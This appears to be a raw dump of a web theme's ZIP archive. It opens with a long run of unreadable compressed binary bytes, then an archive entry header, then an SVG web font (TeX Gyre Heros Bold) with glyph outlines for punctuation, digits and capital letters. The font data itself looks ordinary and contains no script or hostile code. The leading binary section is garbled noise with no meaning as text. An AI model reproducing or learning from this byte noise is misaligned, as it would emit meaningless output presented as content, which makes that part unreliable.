�B���JUU��C0p���_��[9�(r�Œ(@B�;���<�X۞�$Q�nʕcH"��*����u�C$tHL��Iu~DoB�QZ\$�%C�\\<~�K%�7z��
 �U?��jߛ�T���#a�]�_�-6U�n�r����l���aG��zں����VJ`De^�4,�`�V`7xO���D�#b�
ش�ٿ8[�&M�h-{E�6Zu
��W���su�(d�Kc�!,�������?R���I�UL�2������ߥj�xHf�Q�H0�j����U@qP��TBSVs���L3�10ń.��ݲ<
r���Z�]�Ȱ��/�n��9�.�~����SB�߼��C�$���^�a��$4a��A+�C^�ް4�QƖ�
��G.�Ϙy���H.��O���
�%@�$��H+gmR��V%�l$SH�>�~��3����Ac��zT�ko��J�.T��ہd>���1˚����g��˃�1=�Lf��b�̶��+L9v�Ɖ&͈i`#9�u}�.T:8%�E H@1@B8��}�3.-��D
!�IOi�K�^�v'��(�4��0�E'�4NME4a�?�%�?����V3K�խU��O7Tr�<X�G-i�G��~_���k�H9H��+����(j����&&![����PN��j���� ����G3=+��88��.�ej��˄p!y�s�)�paM��1�~���3�O…B�m�P� @�
�>�%���#�q����r)�A���&�u�%[��r<�I��R�S�C�0�?��$_A�|lKXT= ���phd��%DGØ`��df&�����r1���8J�<���Zʂk��v{�M=v%ָ7Ӹ�zu��ہΈ��h?k�W)f��)�b�h�檕@�2C�F�*�yXVƨ�������ǽ��'b��f4�J.��7h��B"}"��&
�U���eaь�p���֖{E�;L`�
@�$��p6M�g$��K�~�٬qٸ�����@���c��#�Z<T�Q~��o�r��e5b5��<�D�϶Rj�G�p��k�����2-�Y�ɢ|1�=)�hO���+��"w<�Ƅ���U ���d���]��T�2Ή�(�7$M��G�!�$쵕=$M!k7�ЊYmU"{�u`����_�TB��Fu�iS��,,���I֬:�����.�q��:0���T�ќ	�2$|0&�9�R�.'�U��*��%,��DQ�2��[�2�S�l�Lbo��(`7,ux�8�hD�"͜��K|���O�� �&X<����hT���Aovo��S��1�rI<�`${)T7A]Y�8N\�nflh�̖�<J�t�8�{��P�.�|��ɓ|�-�0��|#�5N]�ӤW�3ǣ�KK�oQs�;���E�NG��|�f�[�#�_49��-�����kK���-c`��qϡD�E��.nG���%�����&�a�qһ��g��i��MT�@���m�ji�I�E�΁��	��t��عv�42�?QP�vœP����sKv�]�d;jdm�s��"Uf��L��
�=Q���Uͨ��f­�ى6�5�0�E���~ԉ�϶?R7�~�������jf��zAvm7f
m�a��l��$c�dY�$�Ӑ?���e}�֑��a��h��md X��ld+v��j��$ܒ��⾮-]j�KE�m�T�c~ �(�iqd��_}�4C�V A�.	bN�NG��X���L\E�$h�E�����;�rL��ᓵ�C0G\~����A��ဝ��`^եp�K�.G x�g�׾JӇ�R'����`erKX!�>,��Q4�����'LV��൝!2�
����m�]�z�fVh5����p�^ҵ��`c��b0�J���6�:�Ep�|H	!%*cʁ<0m[��z�@�p[�'	�f�a,�ٻi�P�>&)�Sn"~:!҄�6�붒ł����ST'()��0��n���ں4Hc���"Tq�OD��e8o(ʺ�Bp�4�CN�UT5Ol�iѾ�R����z&�*P۸�j�2b��ry�'�v���L��Z�6�Z�x* 2�ۨ�\k���o6
�:$r��48��[���
-OM��cY��l��p*��-��<5�!y�����m�0��O�FA�Oq��C�h�w�A+V7�
�6f~"�ʯM|g�����`"t����Hf���_�71���Ɉ�4	�I{9l1��Xawxv�ɫ	C�4EQ�k[�����>�3349!nC��1�\Z���1Y"�r*46j9�i�S�:08��$tQ�x�w��܅�rY��
�oWn܆��Jb�~hl@t�X{��hp�dk�V(�_�c�-B��uY��\��F�#��t���uH�5��g}<�$�,���:��kL�6�5� �F�x�ˊO�V��@J�݉N�>���'BA{�&��0�1�%�*��U�f�a��Ƣw�/�s�
���}��mZ2�,����1��X@�j
�c��S��3 �=�{��Y���A���o�q�k�7�A���p܀|�M��\��b<ۙ�p'�"�����n���G��~+;�0Z�
V�ݰ(\����H!%!�I=��ANb�M�N:�-\�2H��
��N�B*��wJu^
���m��"p�xT|O!��G��@#8��w����,����y�ldJ�D��]=�V�78'C�ꧭ�ڌ��!<��`�	�{�5
�
��@�'��bE��4�U��O7_������It`��P��_@��Pu2��1�j�_�i�jk2�S�+��-�Ic�����O5�%�u���%
�OQ�3|uq�t0� ��#�A�>��@-�)@-��h�s�V0{r3��d �m#\DCZq�|l\z?P���A�X$[�����&��/Ix�;x���@^�DAA�HIvuƩ��R
_ts!贖���S�wx��׻'0@��;�X�J�D�!w�]�3R�p�‘���P�ضL4��IQXȂ�R�V��Z�b&��cq^�A	կ"Ix�A�2���2�
�Z��V2�4��p���h�<�(K��^�Ǥ��Z)*������!�<d�Ȃꚶ��tgqv���ݾg�8�'��bx�����n2dQ��P�R�;�q#���}ޅ'D���_1��W,L��1�>h���BfJ+�Gt��B��,�� ���Z�\������!w!��;�!�y����&�[�ଦ��n�"�9eO�9ւ4���y�)��>��l7	����;�a�	�u�g6Bz���)W� �f�;"@��g!����M�O�,��/�x�ګ2\�a~V�Gt�� ��}���N�OP@��K҆Qk��=��-�v86T�V��Ut�Ⱦ��c��MM�p"ۀ9��H=QO�+������H�#�p�z��1�`;�tE��>Ꭻ�yŽ��^V��0�l�S<�A�<��f7�pun�0�M�H�\Y�-X)?Y;9�;����At�#
���\��7�N�>��lF\1Ɵ0%�,�܍�H�ƽ�I�1$߇l<b�+)+&�{��h�"�Lt��t����X�ܵ�]^e��t[c
E�6�������#E�_�6�}��f���񨦆M��l��	��&����hm�EA:��O������S�Ev4�j��ƃ�&���<�(Q�Dd�Q*�Z�(P��k���J
C	=Rq���y�E�d������JE�\~�.�1Mz#:��B7*ZWˣA	,����{�*_D@.y�"�rFc�*�-E��.�C��b�ƗCh��GnR6VȂ�Tr,�2 U��I�%C'�z߸ٗ
@a4܃8�����L�!EG		>��8�b�椣�LL��-��OZ�F��
L�s�Z6�X7d�E�ȉ�cD,�,!^Ă���W2��UG�[3����kM5#H#�"(�
�'QhD���^�BsR!��O!޽%�� QLE�}k����=D��z9��OvdP(E||��4#O��1	�X��
���hl�l�n8Z&%�cQ��_���-+`GSb�&B�	00������
�f���ÃD�m0_�#��m�VAWf����7�qv��rd#L^��(�+U6<�;�KP����g�Ҙ\�P���U{��?�zg����U��s��a`�<�� �1+��C��@n����\�>�Ŝ��P�V� Rt[!���*O�̦�EQ�A�X�O4	�Q
 m�q��!ꀂ��jX�l9�DS�--�g/�j^|�J�x���I3����	"cT~(���� ��<
�0�_:G�.��
�\L��ȑ%���j�D]��-3������p8̂�Lh��D��q #��$&�hv�<{�5�[6�r��R\K9b�q��u�-/K�Ο&�R��Pj�m�S7�{,�q^�,Ԧ;\�kd{��V��kװ�j����9�j+�e��Y�cM��W�4䞛�x��\n��fY�-�c���y&܇��u}t�%U�2�ܪ�T�:��0���2J��6��b�K�pp�xq
&�F�H���G� ��ː
�&!���0��� ��nV��V��*�a��1�`�`�0��5t�r��z6!��9u:���p�!ԓ]�i+�-go�x��e�C���@������X&K}1&*;��ks��C?@�$)H��@�ʆ�;2š20L��$�FjL� r��tD��m#�0�p����b�G��@���A0�@�;+�ȂN��X�Ź��3uU/���gl¾L]��6��
&��	��je��e��'��*�
�Qvф"q�3�� �w>��A�~���H&[C�3����q��[���nX��Ʊ*CbKYXܾ4��_�D'����(���2�Z��,1��v�md*�?M&��C\a�.+�����I"�u�0�~��
���@�<Q4��g!�?��?7�� �v˖�o�),���0���J]"0��ۼH3���z����I�9d� ���F�{ئ�/�"-!lm�"!��`��}��'/8�j,\o5L�7{TB���f�9C0}��Lԟ�
o\�#����i���.�t��;$�'���"�VK1�LH�dI�2B��5��v�T^����)�I�}ԉ	��[^�d�?�1t4�fq#�t?U��+Po�l;�G6{�E
�Q��g8uZ7��-���8l�
�v�q���t�%��õ�R�*4X9
#���S%�o��D$��@e!z;��B b�@*2����\���
h�z=�Ӝ���J^A$T+S�-���� �7�>�5�Q2��}8Wt�9TB;A�� l�&������JPւ�"��AaƏ�_�����@K9��.k�̎�V�82��4	𦹢�o�z	��G�7�c혁��1K�#���_RÌ��]E������g&~]L�U��s�P��X2���>�L�������Zh���1�E��{y�`�F�/D*��!Ř4��4�����A�0�z�y&���|>6lI@k��uѝ*jlc�*�k��݉�Z�	$�8�SNN�m�=1/MRUΧ�z=A�"M�l�d+�`�㢯�<�4$<��o
�$tw���d4����!�0YD�!�;�陕)aF%df��;��St}��
���5�QH��?��[�{��OmD���_T@1�(PT��}�Ā
+M~�F�5��I��
�
�9Z>l�`��L�a�������2�Ybc�L�+��
��R�H}�9��L]�D����(�(f��wu�>�je� ����a-�L�+i�Љ�SO_�)Ij���0��P�x 
��X�EYoc攟��-���VYNY�~�|ܰ腉p��
M[�	��d���<�h(Fm�&�i"9���>]�AS[�w���ikv��z(n2�.���ub]�?�Iݪ�%�x���8�7&�I�,i?�N����Q�SG~HZ�	���W�#ٖqHƝ;�������ځ%�74g��xhhH�k���cY�b�ب;�H/���45�ʷQK�,�"D1����L+h3�nB~=y�T�-�Ű��B!����o��Ր�=���=���:�@nS�+�b�<L0n�t`���`{��(��z���@�Hp��ѺR��L�P���8Ȱ\3�dzN2�0g����hD�0\)}M
�X�"*+��`'�A������f�L,x���G�
�c6pS��R��ʼn/�$�\Pn�_0b`=��N)��o�V
�"��F�� �[tq����$�zB܎��8�y[]�B6
"�,�ԁ����(����
��"��#]�)3�[XQ/�/=�	@����_�^�$���!O��Lqë)s����c���: �#`#�U�ac�l��E�K�L�<{M� �Ld9�"��rlZ/���IQ��'NXL��۳y�'�}�5�@�=m��8��iɼB� �b}���u!2[s�$�Z�uy��
��q�(#0��<�;�s�$��WaK�+��4�gA�D6�A�Nd�)F�l���$���T�ϡ��)(��3�;0n��d��0��B�C��5`�j>Hd[/�!�Lp
��4!h���
�h�?%�± �f��D<�Ө��z�.�@DK�{�go�Qe�ijI��(��./�����p�+��g����i��&E��U��o����Wpx����g?>��4N����ˡ��N\�H�����\��ԫʉ�ś<��*!e{�5�e���R8ɀx��fzt�=*�a@BYf+R�l
���<��QuOr,k�.<�-4L\�C?ɰ�q4�.?d�b@� ��p;`OS�d��}�4v�S)}ؗq�[�2�� ��%�~0��H�p�fRR�pƲ/m�P������4�_t�]=
r:i����/4n,EBc[J�et3v���o���H��B ���SlWJ@�Ћ�X�]�M����!�:���K�X<[k�GJ�u�4"��`1�ُ����%C7�s����6٠]�!�[�8��0�<T4琕,�%���tY#C�:k��0;���)�%�+��Q�E��M�+�i`S�s&I�c��V�]y =xɶ u��2bzʜ����.������ ���r�9���Lǧۉ:����TX�"_Rb��N�B"b�š�1�L2.�@��f��×���oNg���R�g%V���'@,b�vZ�	�����*E�F���;`D4�V=�$�>"�n�$��И��X}h/����z���[H���
5��^G+�N��
RQ�x-x��]���½z��Ӓmt@`>�Q���K]Cȼ�Z6�d�>I-��`�5h�W2�8�%!�j�����Gw�V�31W�lL\�%�ȮM<����/ϡϿw�y���J��S�3�B���C@�I�a&�0Wh�>Q���E�M�x���j5ڲy��v���D��șup.)?�Ӝ��l?�8���y
o����iBЏ�2�+�)R�)�]�@�+�g"���q��]/�"�9n~�-�"�L�k1$P	��/i�c��z�h�(9f=P{5n��?��gx������i�A$̰����\%e&dLQa{81��������t���F͒�x�҇ 4��P�'�[�
=Ӟe�m��:TD=�`�m_?Y�q�X�'Mn�,����l�c$HX!�g�s���908��K�PF�cnt��R6�28׳�);���q80���FƅL�
�i�&a�������MEEt�"�d!2i���0�Xm�SH�e��F�1��^�_�������s���Pdz}�W�i���O`��x|�'�gvu? �dT���\w��g��L��tLw���(P��}R�Ǟ�7|+��6^�	���k$��h0p�	'h�}M ���(��0���*X-�i��ZJ`?>F @�f<�<����
�?Il�&�P��"\��O��huH"�6}�!�X��X������<*S��>��=KU :3U�B�LbŰ8#E}
k�8Q�L%���g�/�q��x�bK�D�'�a�l}L����4�r�"��ޣ,M�NE
X�Ӽ��`9��%-�=I<���b�*f����SN��sP�9�ih �(�E����N)LV��5,�V5�
ZaO�@�P�\%+�$���z=F=�VЦ��c"�1[�l?A�IO���7g���-�=����.g��i��ZӼ��x
��W�QM���~,e�vܜ�&�jV���[Ma���曐�s����o,H0xV0J
[�!r�g�J��Z�ߚ�i9�y���Rn������l�o�L-�6��E�-TQaY��OT�����'����kO��I0�D�t�0V��܁�$QBC
����:3`�p� u"2%Q6���՝J��J��0��c"i��)�+���lI������ȩ��tz��uݕ�-7,%,�r�3q�E-'"��~ƞ&���4�f�ߕ���z�lC~�'���8�Ɇ�"[<�PiMv�叞F�4n@�S�NH�Z4�P�eBt�+x<ؗ�����rgq�U<��|a,Z�O��0�B �*�Fn�E�ir��w @�z���r�:y��|�ZAT�X���zǭ�B�Ձ�6�o^�P��S씥H{��� Ji�֐��f�l6����~�CP�8�KH@3��qPK!h-��m�m8bluetheme/assets/fonts/Tex/texgyreheros-bold-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata></metadata>
<defs>
<font id="texgyreherosbold" horiz-adv-x="556" >
<font-face units-per-em="1000" ascent="784" descent="-216" />
<missing-glyph horiz-adv-x="278" />
<glyph unicode="&#xfb01;" horiz-adv-x="611" d="M14 436v93h76v65q0 135 138 135q41 0 80 -3v-105q-18 3 -40 3q-38 0 -38 -42v-53h83v-93h-83v-436h-140v436h-76zM400 0v540h140v-540h-140zM400 605v140h140v-140h-140z" />
<glyph unicode="&#xfb02;" horiz-adv-x="611" d="M14 436v93h76v65q0 135 138 135q41 0 80 -3v-105q-18 3 -40 3q-38 0 -38 -42v-53h83v-93h-83v-436h-140v436h-76zM400 0v729h140v-729h-140z" />
<glyph unicode="&#xfb03;" horiz-adv-x="921" d="M14 436v93h76v65q0 135 138 135q41 0 80 -3v-105q-18 3 -40 3q-38 0 -38 -42v-53h170v65q0 135 138 135q41 0 80 -3v-105q-18 3 -40 3q-38 0 -38 -42v-53h83v-93h-83v-436h-140v436h-170v-436h-140v436h-76zM710 0v540h140v-540h-140zM710 605v140h140v-140h-140z" />
<glyph unicode="&#xfb04;" horiz-adv-x="921" d="M14 436v93h76v65q0 135 138 135q41 0 80 -3v-105q-18 3 -40 3q-38 0 -38 -42v-53h170v65q0 135 138 135q41 0 80 -3v-105q-18 3 -40 3q-38 0 -38 -42v-53h83v-93h-83v-436h-140v436h-170v-436h-140v436h-76zM710 0v729h140v-729h-140z" />
<glyph horiz-adv-x="1000" />
<glyph horiz-adv-x="1000" />
<glyph unicode="&#xd;" horiz-adv-x="1000" />
<glyph unicode=" "  horiz-adv-x="278" />
<glyph unicode="&#x09;" horiz-adv-x="278" />
<glyph unicode="&#xa0;" horiz-adv-x="278" />
<glyph unicode="!" horiz-adv-x="333" d="M92 0v146h150v-146h-150zM92 516v210h150v-210l-42 -309h-67z" />
<glyph unicode="&#x22;" horiz-adv-x="474" d="M50 599v130h138v-130l-42 -129h-56zM286 599v130h138v-130l-42 -129h-56z" />
<glyph unicode="#" d="M3 172v99h97l30 153h-99v99h119l34 174h105l-34 -174h103l34 174h105l-34 -174h90v-99h-109l-31 -153h100v-99h-119l-40 -204h-105l40 204h-103l-40 -204h-106l40 204h-77zM205 271h103l30 153h-103z" />
<glyph unicode="$" d="M22 198v9h131q5 -106 90 -121v213q-204 47 -204 213q0 84 53.5 136t150.5 61v54h68v-54q95 -5 150.5 -61.5t55.5 -149.5h-128q0 46 -20 75.5t-58 34.5v-201q116 -32 166 -81t50 -131q0 -56 -22.5 -102.5t-63.5 -72.5q-51 -32 -130 -41v-105h-68v105q-82 8 -135 46 q-86 61 -86 173zM162 516q0 -63 81 -89v181q-81 -16 -81 -92zM311 86q84 21 84 97q0 73 -84 99v-196z" />
<glyph unicode="%" horiz-adv-x="889" d="M22 519q0 75 54 128.5t130 53.5q77 0 130.5 -53.5t53.5 -130.5q0 -73 -54.5 -126.5t-129.5 -53.5q-76 0 -130 53.5t-54 128.5zM121 519q0 -35 25 -59.5t60 -24.5t60 24.5t25 58.5q0 35 -25 59.5t-60 24.5t-60 -24.5t-25 -58.5zM190 -20l396 729h106l-395 -729h-107z M495 170q0 75 54 128.5t130 53.5q77 0 130.5 -53.5t53.5 -131.5q0 -73 -54.5 -126.5t-129.5 -53.5q-76 0 -130 53.5t-54 129.5zM594 169q0 -35 25 -59.5t60 -24.5t60 24.5t25 58.5q0 35 -25 60t-60 25t-60 -24.5t-25 -59.5z" />
<glyph unicode="&#x26;" horiz-adv-x="722" d="M55 193q0 71 34.5 116.5t122.5 91.5q-9 12 -12 15l-28 34q-43 51 -42 106q0 71 54.5 119t134.5 48t129 -42.5t49 -112.5q0 -54 -25 -92t-92 -84l116 -144q30 57 30 115v10h113v-16q0 -56 -19.5 -111.5t-48.5 -91.5l123 -154h-161l-46 56q-60 -45 -102 -62t-93 -17 q-107 0 -172 59.5t-65 156.5zM188 210q0 -45 32.5 -81t73.5 -36q48 0 120 55l-136 171l-47 -29q-43 -26 -43 -80zM262 566q0 -19 8.5 -33.5t46.5 -62.5q60 33 60 86q0 28 -15 43t-42 15q-25 0 -41.5 -13.5t-16.5 -34.5z" />
<glyph unicode="'" horiz-adv-x="238" d="M50 599v130h138v-130l-42 -129h-56z" />
<glyph unicode="(" horiz-adv-x="333" d="M40 265q0 115 38.5 225t124.5 239h100q-79 -153 -109.5 -253.5t-30.5 -210.5t30 -210t110 -255h-100q-86 130 -124.5 239.5t-38.5 225.5z" />
<glyph unicode=")" horiz-adv-x="333" d="M22 -200q79 153 109.5 253.5t30.5 210.5t-30 210t-110 255h100q86 -130 124.5 -239.5t38.5 -225.5q0 -115 -38.5 -225t-124.5 -239h-100z" />
<glyph unicode="*" horiz-adv-x="389" d="M23 580l22 69l109 -36v116h72v-116l109 36l22 -70l-109 -35l67 -94l-58 -43l-67 94l-67 -94l-58 43l67 94z" />
<glyph unicode="+" horiz-adv-x="584" d="M60 200v100h182v182h100v-182h182v-100h-182v-182h-100v182h-182z" />
<glyph unicode="," horiz-adv-x="278" d="M64 0v146h150v-137q0 -58 -12 -90.5t-42 -55.5q-39 -30 -96 -37v56q86 17 86 115v3h-86z" />
<glyph unicode="-" horiz-adv-x="333" d="M26 207v135h272v-135h-272z" />
<glyph unicode="." horiz-adv-x="278" d="M64 0v146h150v-146h-150z" />
<glyph unicode="/" horiz-adv-x="278" d="M-12 -14l206 728h97l-206 -728h-97z" />
<glyph unicode="0" d="M29 357q0 66 5.5 117t22 99.5t43 80.5t70.5 51t103 19q61 0 105.5 -20t70.5 -52t42 -82t21 -100.5t5 -116.5q0 -102 -17.5 -174t-51 -112.5t-76 -58t-99.5 -17.5q-60 0 -104 19.5t-70.5 51.5t-42.5 81t-21.5 99.5t-5.5 114.5zM169 358q0 -103 12 -157.5t33 -72t59 -17.5 q39 0 60.5 19.5t32.5 73t11 152.5q0 107 -12.5 164t-33 74t-58.5 17q-39 0 -60.5 -20t-32.5 -75t-11 -158z" />
<glyph unicode="1" d="M68 489v93q184 0 217 127h93v-709h-140v489h-170z" />
<glyph unicode="2" d="M30 0q5 98 39.5 156.5t124.5 119.5q117 83 149 122t32 98q0 53 -26.5 83.5t-73.5 30.5q-48 0 -74.5 -33t-26.5 -92v-23h-134q-1 11 -1 25q0 112 61.5 174.5t171.5 62.5q112 0 177.5 -61t65.5 -164q0 -72 -33.5 -122t-125.5 -118q-79 -57 -105 -81.5t-39 -52.5h300v-125 h-482z" />
<glyph unicode="3" d="M29 222h136q0 -54 28 -82.5t78 -28.5q46 0 75.5 30t29.5 77q0 56 -39 81t-120 25v94h12q63 0 93.5 24t30.5 76q0 44 -23 68.5t-65 24.5q-52 0 -74.5 -29.5t-22.5 -95.5h-130v12q0 112 62 169t168 57q103 0 164 -52.5t61 -140.5q0 -48 -21.5 -80.5t-71.5 -63.5 q61 -30 88.5 -69t27.5 -100q0 -104 -67.5 -165.5t-180.5 -61.5q-109 0 -174 62.5t-65 168.5z" />
<glyph unicode="4" d="M24 157v118l259 434h165v-436h74v-116h-74v-157h-140v157h-284zM123 273h185v303z" />
<glyph unicode="5" d="M27 199h138q0 -42 26 -65t72 -23q53 0 83.5 33t30.5 94q0 64 -30 97t-84 33q-67 0 -90 -54h-126l63 395h379v-125h-293l-23 -148q57 43 123 43q99 0 160 -65t61 -173q0 -114 -70.5 -182t-185.5 -68q-104 0 -169 57.5t-65 150.5z" />
<glyph unicode="6" d="M32 337q0 191 66.5 289t195.5 98q88 0 144 -45t69 -131h-130q-14 34 -33.5 48.5t-53.5 14.5q-63 0 -88 -47.5t-30 -159.5q33 34 65 48.5t76 14.5q92 0 149 -61t57 -162q0 -115 -65.5 -184t-171.5 -69q-138 0 -199 98q-51 81 -51 248zM170 232q0 -56 29.5 -88.5 t78.5 -32.5q47 0 77.5 34t30.5 90q0 58 -29 90t-78 32t-79 -33.5t-30 -91.5z" />
<glyph unicode="7" d="M29 584v125h499v-110q-126 -152 -185 -291.5t-69 -307.5h-141q13 111 34.5 189.5t58.5 157.5q22 47 73 125t83 112h-353z" />
<glyph unicode="8" d="M22 211q0 62 27 102t89 73q-48 26 -70 60t-22 85q0 84 64.5 138.5t163.5 54.5q98 0 162.5 -54.5t64.5 -137.5q0 -52 -22 -86t-70 -60q62 -33 89 -73t27 -102q0 -100 -69.5 -160t-181.5 -60q-113 0 -182.5 60t-69.5 160zM162 219q0 -52 29.5 -80t81.5 -28t82 28t30 78 q0 55 -29.5 84t-82.5 29q-51 0 -81 -29t-30 -82zM169 519q0 -41 29.5 -67.5t76.5 -26.5q46 0 75.5 26t29.5 67q-1 42 -29.5 67.5t-75.5 25.5t-76.5 -25.5t-29.5 -66.5z" />
<glyph unicode="9" d="M28 482q0 110 66 176t173 66q116 0 182.5 -81t66.5 -258q0 -192 -65 -293t-196 -101q-92 0 -153.5 53.5t-63.5 135.5h135q2 -31 25.5 -50t60.5 -19q117 0 117 202q-38 -42 -64 -56t-72 -14q-95 0 -153.5 65t-58.5 174zM161 484q0 -60 27.5 -92.5t76.5 -32.5t78.5 32.5 t29.5 90.5q0 62 -29 95t-81 33q-47 0 -74.5 -32.5t-27.5 -93.5z" />
<glyph unicode=":" horiz-adv-x="333" d="M92 0v146h150v-146h-150zM92 374v146h150v-146h-150z" />
<glyph unicode=";" horiz-adv-x="333" d="M92 0v146h150v-137q0 -58 -12 -90.5t-42 -55.5q-39 -30 -96 -37v56q86 17 86 115v3h-86zM92 374v146h150v-146h-150z" />
<glyph unicode="&#x3c;" horiz-adv-x="584" d="M88 212v76l376 317v-130l-266 -225l266 -225v-130z" />
<glyph unicode="=" horiz-adv-x="584" d="M60 109v100h464v-100h-464zM60 291v100h464v-100h-464z" />
<glyph unicode="&#x3e;" horiz-adv-x="584" d="M88 25l266 225l-266 225v130l376 -317v-76l-376 -317v130z" />
<glyph unicode="?" horiz-adv-x="611" d="M60 481q0 132 65 197.5t178 65.5q110 0 179.5 -64t69.5 -166q0 -63 -25 -104t-95 -90q-45 -32 -56 -51t-11 -68h-124v14q0 57 21.5 97t77.5 87q45 37 58 57.5t13 54.5q0 49 -30 82t-75 33q-48 0 -79 -38t-31 -96v-11h-136zM231 0v146h150v-146h-150z" />
<glyph unicode="@" horiz-adv-x="975" d="M41 258q0 128 66.5 239.5t180 177.5t244.5 66q175 0 301 -110.5t126 -264.5q0 -76 -35 -148.5t-100 -120.5t-143 -48q-89 0 -113 61q-60 -56 -131 -56q-74 0 -123.5 55t-49.5 137q0 113 71.5 198t172.5 85q74 0 116 -62l13 42h111l-74 -291q-10 -30 -10 -44q0 -12 10 -20 t24 -8q57 0 102.5 65t45.5 143q0 116 -97 200t-230 84q-148 0 -257.5 -109t-109.5 -256q0 -133 101 -223t249 -90q74 0 197 32l36 -90q-122 -46 -238 -46q-190 0 -323 117.5t-133 284.5zM371 245q0 -42 23.5 -71t57.5 -29q55 0 89 63.5t38 151.5v5q0 31 -22 52t-54 21 q-55 0 -93.5 -58t-38.5 -135z" />
<glyph unicode="A" horiz-adv-x="722" d="M26 0l259 729h166l252 -729h-154l-48 147h-273l-49 -147h-153zM270 272h190l-95 285z" />
<glyph unicode="B" horiz-adv-x="722" d="M82 0v729h325q110 0 174 -55.5t64 -136.5q0 -47 -23 -81.5t-77 -68.5q121 -71 121 -177q0 -94 -66.5 -152t-189.5 -58h-328zM232 125h179q111 0 111 94q0 95 -111 95h-179v-189zM232 439h163q106 0 106 82q0 83 -106 83h-163v-165z" />
<glyph unicode="C" horiz-adv-x="722" d="M44 364q0 176 89.5 276.5t244.5 100.5q127 0 211 -68t93 -191h-143q-31 131 -156 131q-89 0 -139 -65.5t-50 -185.5q0 -119 48.5 -183.5t135.5 -64.5q148 0 161 135h146q-7 -124 -90.5 -192.5t-220.5 -68.5q-153 0 -241.5 100.5t-88.5 275.5z" />
<glyph unicode="D" horiz-adv-x="722" d="M77 0v729h285q84 0 138.5 -20t91.5 -64q89 -106 89 -280t-89 -280q-72 -85 -230 -85h-285zM227 125h135q169 0 169 239q0 240 -169 240h-135v-479z" />
<glyph unicode="E" horiz-adv-x="667" d="M79 0v729h527v-125h-377v-165h349v-125h-349v-189h395v-125h-545z" />
<glyph unicode="F" horiz-adv-x="611" d="M74 0v729h512v-125h-362v-165h319v-125h-319v-314h-150z" />
<glyph unicode="G" horiz-adv-x="778" d="M42 365q0 170 97.5 273t255.5 103q132 0 217 -66t99 -179h-141q-40 117 -174 117q-96 0 -150 -64.5t-54 -181.5q0 -112 58.5 -181.5t149.5 -69.5q69 0 123.5 42.5t61.5 108.5h-166v125h292v-392h-90l-18 100q-42 -58 -94.5 -85t-125.5 -27q-148 0 -244.5 106t-96.5 271z " />
<glyph unicode="H" horiz-adv-x="722" d="M68 0v729h150v-273h289v273h150v-729h-150v331h-289v-331h-150z" />
<glyph unicode="I" horiz-adv-x="278" d="M63 0v729h150v-729h-150z" />
<glyph unicode="J" d="M24 209v61h150v-59q0 -50 19 -72.5t62 -22.5q39 0 60 22t21 63v528h150v-528q0 -102 -61 -157.5t-173 -55.5q-105 0 -166.5 57.5t-61.5 163.5z" />
<glyph unicode="K" horiz-adv-x="722" d="M74 0v729h150v-320l285 320h177l-291 -314l322 -415h-179l-239 322l-75 -78v-244h-150z" />
<glyph unicode="L" horiz-adv-x="611" d="M80 0v729h150v-604h349v-125h-499z" />
<glyph unicode="M" horiz-adv-x="833" d="M66 0v729h224l132 -580l128 580h226v-729h-150v568l-129 -568h-150l-131 568v-568h-150z" />
<glyph unicode="N" horiz-adv-x="722" d="M68 0v729h154l289 -496v496h150v-729h-150l-293 504v-504h-150z" />
<glyph unicode="O" horiz-adv-x="778" d="M40 365q0 161 96.5 268.5t253.5 107.5q158 0 255 -107t97 -274q0 -162 -97 -267t-254 -105q-159 0 -255 105.5t-96 271.5zM190 365q0 -114 55 -181.5t146 -67.5q90 0 145.5 67t55.5 178q0 114 -54.5 183t-146.5 69q-90 0 -145.5 -68.5t-55.5 -179.5z" />
<glyph unicode="P" horiz-adv-x="667" d="M76 0v729h322q114 0 174.5 -58t60.5 -168q0 -111 -60 -177t-160 -66h-187v-260h-150zM226 385h140q117 0 117 109q0 56 -28.5 83t-88.5 27h-140v-219z" />
<glyph unicode="Q" horiz-adv-x="778" d="M43 365q0 166 96.5 271t254.5 105t254.5 -105.5t96.5 -268.5q0 -73 -21.5 -140.5t-58.5 -112.5l80 -76l-76 -81l-86 81q-83 -50 -189 -50q-158 0 -254.5 105.5t-96.5 271.5zM193 365q0 -114 54.5 -181.5t145.5 -67.5q52 0 88 19l-77 73l76 81l82 -78q33 66 33 153 q0 112 -55 180.5t-146 68.5t-146 -67t-55 -181z" />
<glyph unicode="R" horiz-adv-x="722" d="M80 0v729h391q94 0 145 -54.5t51 -142.5q0 -132 -123 -180q27 -11 40 -17.5t26.5 -21.5t18 -27t9 -44t5.5 -63t2 -92q0 -42 32 -60v-27h-161q-14 26 -18.5 50t-4.5 75l2 77q0 46 -22 66.5t-71 20.5h-172v-289h-150zM230 414h181q61 0 83.5 23t22.5 74q0 49 -23 71t-83 22 h-181v-190z" />
<glyph unicode="S" horiz-adv-x="667" d="M32 229h146q0 -58 43.5 -89.5t120.5 -31.5q69 0 108 24t39 69q0 43 -30 64t-107 36l-102 20q-111 22 -158 66.5t-47 129.5q0 107 72.5 165.5t203.5 58.5q135 0 210.5 -60t75.5 -174h-140q0 55 -40.5 84.5t-112.5 29.5q-58 0 -92 -24.5t-34 -65.5q0 -40 29 -59.5 t109 -35.5l114 -22q102 -20 147.5 -65t45.5 -130q0 -110 -78.5 -170.5t-220.5 -60.5q-141 0 -221.5 62.5t-80.5 178.5z" />
<glyph unicode="T" horiz-adv-x="611" d="M14 604v125h584v-125h-213v-604h-150v604h-221z" />
<glyph unicode="U" horiz-adv-x="722" d="M76 246v483h150v-483q0 -130 139 -130t139 130v483h150v-483q0 -125 -79.5 -191.5t-209.5 -66.5t-209.5 66.5t-79.5 191.5z" />
<glyph unicode="V" horiz-adv-x="667" d="M24 729h151l162 -549l159 549h151l-250 -729h-127z" />
<glyph unicode="W" horiz-adv-x="944" d="M13 729h159l113 -546l113 546h148l118 -547l109 547h159l-202 -729h-135l-122 569l-119 -569h-135z" />
<glyph unicode="X" horiz-adv-x="667" d="M22 0l230 367l-222 362h178l128 -240l134 240h174l-225 -357l234 -372h-178l-140 253l-139 -253h-174z" />
<glyph unicode="Y" horiz-adv-x="667" d="M27 729h167l149 -322l139 322h168l-231 -459v-270h-150v270z" />
<glyph unicode="Z" horiz-adv-x="611" d="M30 0v125l373 479h-373v125h548v-125l-372 -479h372v-125h-548z" />
